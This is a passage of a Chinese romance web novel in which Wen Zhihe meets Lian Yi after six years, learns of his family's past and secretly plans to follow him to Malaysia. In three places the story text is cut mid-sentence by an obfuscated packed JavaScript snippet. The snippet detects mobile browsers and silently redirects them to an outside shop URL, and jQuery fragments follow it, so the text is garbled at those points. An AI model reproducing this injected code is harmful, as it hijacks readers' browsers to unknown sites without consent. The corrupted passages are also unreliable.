那是一双极锐利的眼睛。也很漂亮。 视线不偏不倚地落在她身上。 温知和脚步一顿,“……嗨。” “……” 身后有一群小孩子跑过去,有点推搡,她不得已往前走了几步。红伞微微倾斜,落下来好多水。 温知和道,“你也这么早啊。” 他说,“等人。” 很悠缓的两个字。他的声音,前几天也不是没听过,但那时没一句是对着她说的。 六年。这是隔了六年,两个人第一次说上话。 温知和道,“你这会儿还有别的约?那我先去吃个午饭,待会见。” “吃什么?” “呃……麦当劳吧。” “那家?” 他朝不远处商铺街上的麦当劳抬了抬下巴。店门大开着,用餐、躲雨的人相当多,蚊子都不一定挤得进去。 温知和道,“外面也有。就是远一点。” 他偏着头想了些什么。“以前附近有一家杭菜馆子。” “……叫什么?” “忘了。不过我记得位置。” “噢……” “走吧。” 一来一去的对话里好像一直有哪里对不上。温知和终于觉得不对劲。“……你也去?” “不可以么?” “你不是在等人吗?” 他望她一眼笑了笑,继而看向黑伞边缘绵密下落的雨珠。有点懒洋洋的。 “你以为是等谁啊。” - 从东湖公园里出去,大街小巷绕了几圈,两个人最终停在一处新街口。马路是近几年修的黑色柏油路,车流闪着灯驶过,相当平稳。路边的商铺、小区也是新的,沿街栽着梧桐树,绿影森森。 温知和不熟悉这一带,看来看去,只觉得没见到饭馆。看向身边人,他望着这条街,目光如一条幽幽的河,从街头流向街尾。 他说,“看来也没有了。” “可能搬家了吧。” “不找了。不是想吃麦当劳吗?来的路上有一家。” 温知和半天没动,就这么隔着雨幕盯着他。虽然他比她高了不少,但她站在台阶上。雨水从台阶边沿滑落,从她流向他。 她脸上没有妆,两个不成眠的夜晚留下的痕迹清晰可见。仍是漂亮的,但是苍白。 他从伞下迎着她的视线。“怎么了?” 温知和道,“人不应该跟陌生人一起吃饭。” “是么?” “你说,连名字都不知道,算不算陌生人?” 他望着她笑了笑,视线一低,不知想起什么。旋即他又抬起眼,竟向她伸出手来。“连易。” 他的手很好看,骨节分明,蕴藏着力量。 ……曾经揽在她后腰上,用以增加亲吻时的力道。她用指尖触碰过的那些细密伤痕,也仍在他锁骨前的皮肤上。 温知和抿着嘴移开视线,刻意不去握手,自己跳下了台阶。“麦当劳在哪儿?” 他很自然地把手收了回去,“这边。” - 连易。 ……连易。 怪不得他的微信名是LY。 温知和总觉得自己在什么地方也见到过这个名字。 雨一直在下,地上湿漉漉的。伞上的水声没停过,小而绵密的是雨,大而间断的是头顶上空梧桐叶掉下来的积水。 两个人一前一后地走着,一直没说话,距离在半米边缘浮动。恰到好处,各自的伞不会打架。 温知和有时抬起头来,注视着身前人的背影。他的变化实在不大,只看背影,更是与六年前几乎重合在一起。好像时间打了个结。上一秒还走在炎日照耀海风吹拂的轮船走廊,晃晃悠悠的,下一秒,一步踏空,走进了淮市的烟雨。 马路上有快车驶过,伴着哗啦的水声,身前人也停了脚步。 “到了。” “噢。” 他收了伞。那是一把黑色的长柄伞,形态细长,轻易便能塞进店门口架子上专供雨伞用的塑料袋里。 她用的却是一把红色折叠伞,有点粗重,塑料袋开口又小。为了努力把伞塞进去,她沾了一手的水。 还没塞进去。塑料袋倒是划破了一个口。 “……” 一只修长的手伸过来,也没说什么就把伞拿走了,下一秒,它掉进他手上的塑料袋里,乖得不像话。 他把红伞还给她。“吃什么?” “看看再说。” 店里没什么人,几排客桌都是空的,只有两个在麦当劳兼职的大学生在柜台后面低着头玩手机。 她要了一份套餐,他和她点的一样。两个人找了个窗边的位置。 她埋头就开始吃,他倒是没动。 只是看着她。 温知和咬着汉堡,一口,一口,越来越慢。盯着桌子看,视野却开始模糊。好像外面的雨下到了眼睛里。 她听见他的声音。 “这些年好么?” 她把嘴里的食物咽下去,不说话。咬了一口新的。有点酸,也许是里面的酱。麦当劳的塑料桌子是米白色,能反一点光,有对面的人模糊的影子。 影子动了一下,他靠在椅子上,又远了一点。 他说,“欧阳老师说你还在读书,而且读得很好,一直在拿奖学金。” “……” “她还说你很喜欢一家法式餐厅。” “……” “马修成也提过一些。你有一个关系很好的家里长辈,为了应付,和他吃过一次饭,逛过一次公园。你前几周还去过一次同学聚会,但话并不多。”他顿了顿,“这就是我知道的全部了。” “……” 他把声音放轻,“不打算和我说话么?” 温知和慢慢吞下最后一块汉堡,折好装汉堡的纸放在托盘里,又拿纸把手擦干净。然后,拿过一杯可乐,纸杯外细密的水珠将指尖打湿,有一种冰凉。 她开口时声音很低,与此同时,他也恰好说了一句话。 “你……” ——为什么六年杳无音讯? 然而她没说完,因为他那句话是,“我明天晚上的飞机。” 她愕然抬头。 对面的人仍是平静神色。同她一样,他手里捧着可乐,但那半边桌子上的食物纹丝未动,好像可有可无的装饰品。 他说,“你刚才要说什么?” “你刚才的话是什么意思?” “我明天回马来西亚。” “你一直在马来?” “也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14267257|147201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不算吧。到处走走,到处看看,时不时回去一趟而已。” “噢,环球旅行?” “算是。” “……很逍遥嘛。” 他笑了笑,“也许吧。” 温知和低头喝着可乐。冰凉的液体流进咽喉,却好像成了膨胀物,嗓子堵着,心堵着。大雨在外面,他在对面。可雨听上去很近,而他很远。 她抬起头来看着他,刻意控制了语气。“既然明天就要走,干嘛今天来见我?” 她的心提了起来,时间好像变慢,可这电影般的刹那被庸常的吵闹声划破。麦当劳的大门从外面被推开,几对家长带着孩子进来,抱怨着,叫嚷着,空空荡荡的门店一下子被声音挤满了。 还有不到桌子高的小孩从她手边的过道哒哒哒地跑过去,兴奋地占领不远处靠窗边最好的位置,朝同伴高声呼喊。 这种过了头的热闹,像是把近似摊牌的凝固时刻拉回了现实里。一切都不过是生活。 对面的人显然也受了影响,目光几次瞥到吵闹声的来源处。他抬起自己那瓶可乐,在手里晃了晃,又放了下来,没喝。 然后他说,“因为我爱过你。” 谈吐间的语气太寻常。寻常到温知和隔了两秒,才反应过来他说了什么。如此吵嚷的环境,如此寻常的语气,好像只是在谈论外面一直不停的大雨。 她不免有些错愕。 这次相见,于她而言是个不小的坎。从找别人要他的联系方式开始,每一步都走得很郑重,仿佛每一步都是个里程碑,走过了,还要专门画个纪念。 她以为把话挑明说开的时候,会是这漫长的“严阵以待”迎来最高浪潮的时刻。她想过会不会冷场,想过会不会刺痛。 但她没有想过会这么平静。 那个日思夜想的人就坐在对面,看上去和从前没有什么分别。他脸上的神色近乎明证。左耳下的赤红色隐隐在带着雨雾的日光里闪烁,像天上的远星。 她始终没有放下的一切,在他那里,好像已经是过去的一件事了。 翻了篇。不管曾经有过怎样的悸动、牵念,有过多少刀枪剑雨的危机、无与伦比的信任,抑或是懊悔、伤感,它们也许还在,并未从记忆里消失——但都不作数了。它们只是……一些从前发生过的事情。 ——“因为我爱过你。” 一个过字。仅此而已。六年其实很长的。 奇怪。也许是因为他太平静,温知和的心里也安静下去。 她又喝了一口可乐。然后笑了笑。“这样啊。” “嗯。” “那,我们也算老朋友吧?” 他嗯了一声。 她抬眼笑。“是老朋友就不要那么生分了吧。这些年怎么样?你先说。” “是我先问的。” “你不知道你的老朋友很不讲理吗?” “也是。” 他不知想起什么,眼睛抬起来,看向旁边的玻璃窗户。绵密的雨线倾斜着从外面划过,让映在表面的影子显得支离破碎。 他说,“奇怪。” “怎么了?” “我以为每天有很多事发生,但刚才一回想,好像也就那么回事。” “怎么回事?” “到处走走,到处看看,时不时回一趟马来西亚。就这样。就这么简单。” “这是说过的,”温知和把桌上的纸巾团起来朝他丢过去。“耍懒呢?” 他没躲。反正,她扔不准。 她身体前倾,一手支着脸颊,一手晃着可乐。闲聊的姿态。 “连易。” 她第一次叫出他的名字。可是那么轻易,那么没有仪式感。 她很轻地说,“告诉我吧。” 53. 第五十三章 连易的确不算是在说假话。 春夏秋冬轮转六次,日升月落两千有余,这么些光景——“到处走走,到处看看。”山川河流,北边南边,世界是无限大的。 温知和听了还挺羡慕,喝着可乐,不断追问他各种细节。窗外的雨绵绵密密,借着话语,他所见过的世界也在她脑海中铺展开来。无数条经纬线编织成的旅途,万千种颜色,数不尽的声音。 他说话的语气很寻常,很难找到一般人分享异域见闻时的兴奋欢欣。仿佛那些故事也不过是过去的事件集合,如同翻阅过的书,页面泛了黄,过了就过了。 他说着那些故事的时候,故事里的人依稀就在眼前,很近。可说故事的人却很远。 温知和想,的确,组成眼前这个人的绝大部分过往,都和她没有关系。半生的岁月里他走过大半个世界,而她不过是里面很小的一个点。 她一直问,一直听,到后来,连易说,“只听我说不觉得乏味吗?” 修长的手指在桌上有一阵没一阵地敲,静静地没声响。一旁的食物早就凉了,连纸包都没开过。好像他人虽然坐在这里,却和店里的东西并未真正产生交集。 温知和道,“你讲得挺好的。” “我想听你讲讲。” “我?我才是乏味啦,”她吸了吸吸管,底下发出一阵咕咚咚的声响,可乐杯空了,“一直按部就班而已。” 连易很自然地把他手边那杯没动过的可乐推过来,满满当当的,在桌上留下淡淡的水迹。温知和道了谢。 “不客气。我挺想听听按部就班的生活的。” “好吧,从什么时候讲起?” “从小吧。” “从小啊?那不就是……读小学、读初中、读高中、读大学……然后再读个研……”温知和一面随口说着,一面把刚才用的吸管插进新的可乐杯里,“想想也挺吓人的,光读书都将近二十年……” “最喜欢哪个阶段?” “大学吧,因为最自由。没有上不完的早自习,没有中高考的压力,我不急着本科毕业就工作所以也不卷实习,每天就上上课,看看书,偶尔约同学出去玩。” 如此惬意的生活并非普天之下的常态。她天生聪颖,成绩优异,父母宠着,生活费给得绰绰有余,一路上遇见的老师同学也都是很好的人。她知道自己是幸运儿,认真且细致地度过每一天,是对这种天赐的幸运最好的感恩。 话匣子打开了。 所谓“我才是乏味”不过是自谦用语,她的生活烟火气十足。家里,学校里,永远有趣事。一个个认识的人,一桩桩故事,连成一张名为生活的网,五彩斑斓,且安然平稳。 他慢慢地问,她细细地答,闲聊如同新摘下的茶叶,伴着一窗之隔的江南雨水,沏成了一壶茶。茶香里是她的人生。像这么样挑着捡着给他讲一遍,她好像也就把路又走了一遍。 时间慢慢地流,天色暗下去。 温知和可乐喝得太多,中途去了一次洗手间。返身回来的时候,麦当劳里的景象像一张挪远了的画,一切尽收眼底。 临近饭点,人变多了,一半多的客桌坐了人。有带孩子的一家人,有三五聚起来的中学生,也有独自一人的白领,各有各的话,各有各的声音。 那么多人里,连易是最显眼的那个。他靠在窗边,想着什么,丝丝雨线从窗玻璃的另一面倾斜着滑下去,依稀反射着城市街景的光亮。 赤红色的破损耳钉在他左耳下,如同一抹血。这么多年过去,它依然是他的标志物。 她脑海中浮现起一幅幅模糊的儿童彩画。大熊星座号上的孩子们画他,火柴人,卡通人,场景雨画风各异,不变的是耳朵下的一点赤色。 她想起他曾把它取下来,说要送给她。 ……那已经是那么遥远的事了。 遥远到也许另一个当事人早已忘记。 温知和不动声色地走回去,拉开椅子坐下,重新拾起刚才的话题。他们谈论着各自的生活,如同一本书遇上另一本书,交换了几行内容。 除此之外,也就没有别的了。 从麦当劳出去的时候,天刚彻底黑下来,雨小了不少,变得淅淅沥沥的。温知和把装伞的塑料袋子撕碎了,把伞取出来,撑开。几个小时前,伞是连易装进袋子里的。要说她身上还有什么与他有关,说来说去,也就是这个袋子了。 她把它丢进垃圾桶。 也许很多东西没必要追究意义。它不过是一个塑料袋而已。 连易看了看腕上的表。“我送你回家吧。” “不用,地铁站很近的。” 她指了指马路对面不远处偌大一个在雨夜里亮着光的“M”标志。 新建的淮市地铁七号线,回她家小区相当方便,直达不需要换乘。 连易看过去,似乎起了点兴趣,“我还没有坐过淮市的地铁。那个时候……”他顿了顿,显然略过了一些只有自己知道的旧事,“一号线还在施工。” 她看看他,又看看地铁,“那……体验一下?” 他笑了笑,“正好送你回家。” 两个人过了马路,从地铁口下去,崭新的地铁站挺有艺术气息,色彩搭配讲究,墙上还有巨幅的水墨画浮雕。外观做得漂亮,核心的流程却不好走。 购票机一点也不好用。界面凌乱,操作步骤繁琐。 温知和是本地大学生,坐地铁只需要刷学校和交通局联动做的一卡通。但连易要单独买票。 他常年在国外生活,没有支付宝,也没有开通过微信支付。钱包里装的是现金和一张VISA卡。 除了支付的问题,还有实名认证。淮市近期要主办重要的国际活动,严格管控人员流动去向,买地铁票需要实名。看上去不过是身份证滴一下的事。 但他没有身份证。他从兜里掏出来的是一本美国护照。 连易饶有兴致地对着购票机研究的时候,温知和在几步之外看着,一下子,明白了罩在他身上的某种漂泊感的源头。 ……他是以异乡人的身份回到故土。 那是什么样的感觉呢? 她想,他比六年前沉默了很多,对很多事情都无所谓,神情里有时带着厌世感。就好像对他来说,人生里最重要的事情已经过去了。六年前的那个青年鲜活多了,在邮轮上神出鬼没的,说起话来有时候能噎死人。 她又想到,六年前,他原来和现在的她一样大。 有好心的工作人员过来帮忙,手动给连易办了一张公共交通储值卡,卡面很漂亮,设计精美,印着手绘版的东湖风景。一面是日出,一面是弯月。 他在手里翻着看了几次。 温知和想,这对他来说也许是不错的纪念品。 ……旅游纪念品?抑或是从故园带走的一抹痕迹? 连易察觉到她的视线,“怎么了?” “没什么。这边走,听声音车好像快来了。” 地铁扶梯的广播女声千年如一日。“乘客您好,为了您的安全,在搭乘自动扶梯时,请站稳扶好,不要将……” 慢慢下去的时候,前面的墙上挂着巨大的广告图。温知和叫不出名字的当红男明星戴着墨镜,摆着酷酷的姿势, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14277826|147201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁边是打广告的商品图。 金路。淮市本地产的老牌香烟。广告图右下角还有两行应管理部门要求加粗的显目文字,“吸烟有害健康,请谨慎购买”。 她转头去和身后的人说话。他的视线也在那幅广告图上。 她说,“你现在还抽这种烟吗?” “我没有抽过。” “噢,对,你是点了不抽。现在还点吗?” 他声音夹杂在不断重复的广播女声里,几乎有点听不清。 “乘客您好,为了您的安全,在搭乘自动扶梯时,请站稳扶好……” “很久没有了。” ——很久是多久呢? ——为什么不点了呢? 那些最重要的问题仍是未知的。他这个人依然是个谜。 就好像两个人明明在麦当劳里坐了那么久,话好像说了很多,可她所能知道的只是他这些年里看到的种种外在风景。而对于他本人的了解,则依然近乎空白。在这种情况下,越是知道他去过什么地方,反而越觉得他遥远。 连易一直把温知和送到小区门口。晚上八九点,雨停了,这附近很热闹,许多人饭后出来散步遛弯,沿街还有夜市摊子。 说来也巧,连易止步的地方,仍是一棵树底下。一如许多年前的某一次。 他一手插在裤兜里,漫不经心的姿态。 连台词都很熟悉。 他说,“那么,就这样吧。” 温知和没说什么,挥了挥手,就转身朝着小区门走去。周围人声将空气填满,闲聊的,接电话的,还有宠物的叫声,空气里的每一处都有动静。 她一直走到看不见门口那棵树的位置才停下来,也没转身去看,只是忽然想起—— 他始终没有叫她的名字。 ……他从前叫她的名字的时候,语气总会那么、那么认真。 - 次日。 连易之前说过他今天回马来西亚,是晚上的飞机。温知和一整天没联系过他,坐在电脑前埋头改论文。 原想把事情稍微放一放,论文改完,拿起手机一看,俞则发了十几条微信消息。本以为是出了什么事,结果—— 最开始是在上午。 【倒霉蛋:我今天跟家里人去给祖辈上坟。猜我在墓园里碰见了什么人?】 【倒霉蛋:喂喂?你在吗?】 【倒霉蛋:憋着不说我很难受啊!!你快点出现,让我说——让我说——】 【倒霉蛋:呜呜呜温知和你……】 【倒霉蛋:啊好吧,反正他现在也不见了。】 【倒霉蛋:我碰见了一个带红色耳钉的人,长得实在太优秀了……好像你故事里的那一位……真的……你说他来墓园干什么啊……】 在这之后,中午、下午,就只是一些委委屈屈的哭泣表情包了,埋怨着好友一整天不见人影。 温知和发微信过去解释自己在写论文。那边一时半会儿也没回,按常理推断,估计是打工人晚上在加班。 她又有点出神。 看眼下的时间,那个人……飞机大概已经起飞了。也许已经穿越了云层。也许已经飞出了国界。 她放下手机,又看了几篇文献,还做了笔记。 时间越来越晚,眼看就快到某些博士生一天里最活跃的时间了。 温知和拿起手机,从最近联系人里找到了同门的那位师姐。师姐比她大不少,回学校读博前做过几年公务员。没记错的话,似乎是在市教育局,人脉堪称广阔。 “师姐师姐,求帮忙打听一个人……” 54. 第五十四章 师姐在教育局工作也不过是近几年的事,太遥远的旧闻,她没接触过。但熟人里有不少上了年纪的校长、老师,以连易的名字做线索,拼拼凑凑,竟真凑了个十几年前的故事过来。 那并不是一个美满的故事。 拥挤的城市里住着许多人,人们大多过着一种名为“寻常”的生活,孩子上学,家长上班,有人要考试,有人要谈恋爱,有人忙着升职加薪,公园里有相亲角,菜市场里有讨价还价,十字路口红绿灯闪烁,来来往往的车辆载着无数张面孔,伴着引擎声驶往各自的目的地。 “寻常“里有鸡毛蒜皮的琐事,也有闪光的瞬间,人们浸泡其中,日复一日,习以为常,总以为生活会在坚固不摧的轨道上一直进行下去。 可脱轨有时只需要一个瞬间。 据说那个三口之家曾经也是令人羡慕的对象,住在离湘塘江大桥不远的荆花新城。 母亲是地方电视台的主持人,负责的栏目与老年人生活关怀有关,于主流大众而言稍显冷门偏僻,可在本地的爷爷奶奶们心目里,她是个熟面孔。 父亲是相当出色的刑警,市公安局一进大门的表彰栏里,就有他的名字。破过几起拐卖儿童的大案子,上过新闻。 儿子在学校里的成绩一直很好,有上课睡觉也能随便考第一名的聪慧,会弹钢琴,听说还在全国型的比赛里拿过奖。 听说一家人感情很好,母亲作为节目主持人,与老年观众连线聊天时,也会分享些自己家里的事,有温馨的日常细节,也有吐槽向的小笑话。 听说父亲很希望儿子长大以后可以去当兵,做个出色的军人。听说儿子比较叛逆,根本不听从。 听说,那少年时常戴着耳机不听任何人说话,谁搭讪也不理。只有在他自己想说话的时候,开了口,人们才发觉先前谈论的一切原来从没逃过他的耳朵。 听说……事故是在零六年发生的。也有说是零五年底。 做刑警的父亲不见了。有小道消息说他被下狱,罪名似乎是走私一类,具体的没人清楚。总之再也没人见过他。 没多久,母子俩也不见了。 有人叹息,说孩子真可怜。有人愤愤,说男的一定有罪,女的和小的一定也不干净,竟然让他们逃走了。也有人煞有介事地说导致他们家破人亡的那起事故有疑点,当年负责抓父亲的许多相关人士都升了官,可没几年又莫名其妙地纷纷落马了,好像报应。 整个故事盘根错杂,没人能从头到尾梳理干净,都是这个讲两句,那个讲两句,印象模糊,主观推断大于事实陈述,如同一枚枚边缘崎岖、对不上的拼图。 毕竟,那故事已经太久了。十七八年,足够一个什么也不会的婴儿长成大学生。不论当事人是如何如遭当头一棒、痛彻心扉、日夜不眠,熙熙攘攘的城市里每日灯火不熄,于看看热闹的外人们而言,这不过是十几年里茶余饭后一点微不足道的谈资。 师姐把打听到的消息一一给温知和说了,问她,“怪了,你怎么认识这么一号人的?” 温知和说,“火车上遇到的。” 这是实话。可听在别人耳朵里,又像是随口一句的应付。 师姐说,“别说我僭越指指点点,这种人最好少接触。人生可经不起犯险。” 温知和说,“我知道的。” 她这样说着的时候,眼睛微微抬着,望着阳台上地上撑开的那把伞。鲜红的,很轻盈。是她和他见面那天用的伞。 - 从温知和家去位于湘塘江大桥附近的荆花新城,没有直达的地铁,要换乘三次,在地图上绕啊绕啊,磨磨蹭蹭地接近。 转到一号线上,离目的地越近,她越是频繁地抬头去看高处的地铁线路图。环行线的每个节点都有一个站名,一点一点亮起。那些地名她一个也不熟悉。可对另一个人来说,却可能是在遥远的从前每天都会路过的风景。 “荆花新城站到了。开右侧门,上下车当心裂缝,请注意脚下安全……” 这里并非换乘站,人流量却也不小,乘客们有上有下,不少是牵着孩子或扶着老人的。还没出站便能感受到一股生活气,与商业街区的地铁站里满是打扮精致的年轻人的气氛全然不同。 温知和跟着导航,从A口出去,回到地面上。名为荆花新城的住宅区映入眼帘,二三十年历史的老式花园洋房,棕白色调,到现在依然漂亮。四处林荫幽幽,空气很清新。 进小区要刷门禁卡。门口保安的打量下,温知和假装低头在包里翻东西,翻着翻着,慢慢往门走,恰好有人从里面出来,她便溜了进去。 她像游览。眼目所见的一幢幢楼,如同一本本上了年纪的书,成百上千扇窗户后面都藏着字,组成人间的大故事。 她忽然看见一座庭院。 是一户住在一楼的人家的后院,高墙围着,只有爬上了墙头的地锦和一扇雕花镂空的小铁门透露着里面的景象。 ——“桃树,梅树,栀子,芍药,水缸里还有莲花,乱七八糟都有一点。” 眼下的时节,满院子的花大多是没开的,只有绿油油的叶子,像是在等着什么。唯有角落里的几簇月季开得最盛,粉白锦簇,宛如植物的火焰。 温知和想,这会是连易家以前的位置吗?那时在船上遇到暴风雨,她房间玻璃坏了,只好去他那里。闲聊时,他曾说起过家里的院子。他说零五年的台风吹坏了桃树,后来重新种了一棵。 温知和往里瞅着,为了看得更清楚,不断调整视线位置。 院子最中央的确有一棵桃树。桃花早谢了,但枝叶繁茂。 如果这里的确是他家,如果这棵树的确是他少年时种下……十七八年,它的确也该长这么大了。 - “知和,我们下周回京市看外婆,你自己好好的啊。” 晚上吃饭的时候,温爸爸一边俯身逗着脚边的萨摩耶,一边这么说。 温知和说,“外婆怎么了?” 温妈妈说,“没怎么,日常走动一下。”妈妈作为女儿,没和自己的母亲生活在同一个城市,每隔几个月都要回去一次的,“本来应该要晚几周,但北京最近有电影节,外婆非要去凑热闹,你小姨又没兴趣,我想着不如就我们早点过去好了。” 温爸爸插话戳穿真相,“主要是你妈也想去电影节。” 温妈妈睇了他一眼。 温知和随手查了一下电影节的片单,哀叹道,“我也想去电影节。” 可惜准备了很久的论文中期答辩也是下周,时间完全撞了。很多电影大荧幕和小屏幕的观感完全不一样,错过这次,下次就不知道是什么时候了。 温妈妈说,“我们这次去北京,你有没有什么想要的?给你带回来。” “好像没有……” 现在的网购太发达了,想要什么,线上全都有。方便归方便,小时候那种父母出远门给自己带礼物的惊喜感大大衰减了。 “好极了,你最好养活了,我们可以两手空空地回来,”温妈妈说,“去的时候可就遭殃了,你外婆点了一大堆的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14290272|147201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 单,要东湖记的新鲜糕点、要龙井茶、要这边的胡椒粉……别的就算了,淮市的胡椒粉有什么好要的?” 温爸爸说,“老人家好奇嘛。” 温妈妈说,“哎哟明天还得去菜市场……” 嘴里这么抱怨着,温知和知道所有的东西最后都会一一打包准备好,由父母亲手带回去,给京城里翘首以盼的老顽童。妈妈和外婆没有生活在一起,但这并不影响她们几十年如一日的冤家般的母女关系。 就像这次,外婆非要为难妈妈带淮市产的胡椒粉,妈妈一面抱怨着麻烦一面照做,到时候见了面免不了一番斗嘴。但最后,胡椒粉八成是在外婆做菜的时候用掉,一家人会吃得高高兴兴。 温知和的心又痛了一下。如果不是阴魂不散的论文,到时候本该也有她一份…… 温妈妈说,“对了,论文准备得怎么样?” “还行吧……” “要是顺利通过,就放个假休息一段时间吧。”温妈妈居然没忘记报刚才的仇,拿筷子指了指边上那个还在逗狗的人,“去旅游,让你爸给你出钱。” 温知和顺势摆出亮晶晶的期待表情。 温爸爸抬起头来,看看这个,看看那个,最后又低下头去看狗。认了这笔账。 - 一周后。 俞则在电话里说,“首先,恭喜你论文中期答辩顺利过关。其次,谢谢你邀请我这个社畜一起去旅游。最后……” 她顿了顿,说,“挺没想到的,居然是去日本关西……我还以为你会想去马来西亚呢。” 温知和开着免提,一面回话,一面低头在手机屏幕上划,“日本也好玩啊,我想去奈良看鹿。” “我想去神户吃牛肉。” “我想去大阪环球影城。” “我想去宇治买抹茶。” “……去这么多地方还有多少天能留给京都啊?” “真是幸福的苦恼啊……京都至少三天吧……” 两个人在旅游上都是随心所欲突发奇想的类型,每人提名几个“一定要去的地方”,往地图上一标,看看远近距离和火车路线,就粗略定下了大阪——京都——宇治——奈良——神户——大阪的旅游行程。再算算每个城市的停留时间,估一个总时长,就可以买往返机票了。 俞则说,“七月初我们要赶版本,到时候估计请不了假……要不就晚一点,七月十四号晚上走怎么样?你时间行吗?” “行啊,”温知和笑眯眯地说,“我可是有暑假的人。” 电话那头传来了打工人嫉妒的叫喊声。 买了机票,又在Booking上按评分和合适的价格订好了每个城市的旅馆,这段旅程便正式提上日程了。两个人兴奋地畅想了一阵,俞则被同事打了个电话,就又临时加班去了。 这时温妈妈来敲温知和的门。 “洗了葡萄,要不要呀?” “要要!” 温妈妈把葡萄端进来时,温知和把手机熄了屏。 温妈妈说,“机票都订好了?是哪天走呀?” 温知和剥了一个葡萄往嘴里塞,含糊不清地答,“七月七号。” 温妈妈并没有怀疑什么,叮嘱了一些外出事项,便又出去了。外面客厅里冬哈还在摇着尾巴等着喂饭。 温知和重新把手机拿起来。屏幕一亮,露出她刚才看的界面。 仍是买机票。 往返票,七月七号去,七月十四号早上回。 目的地……马来西亚。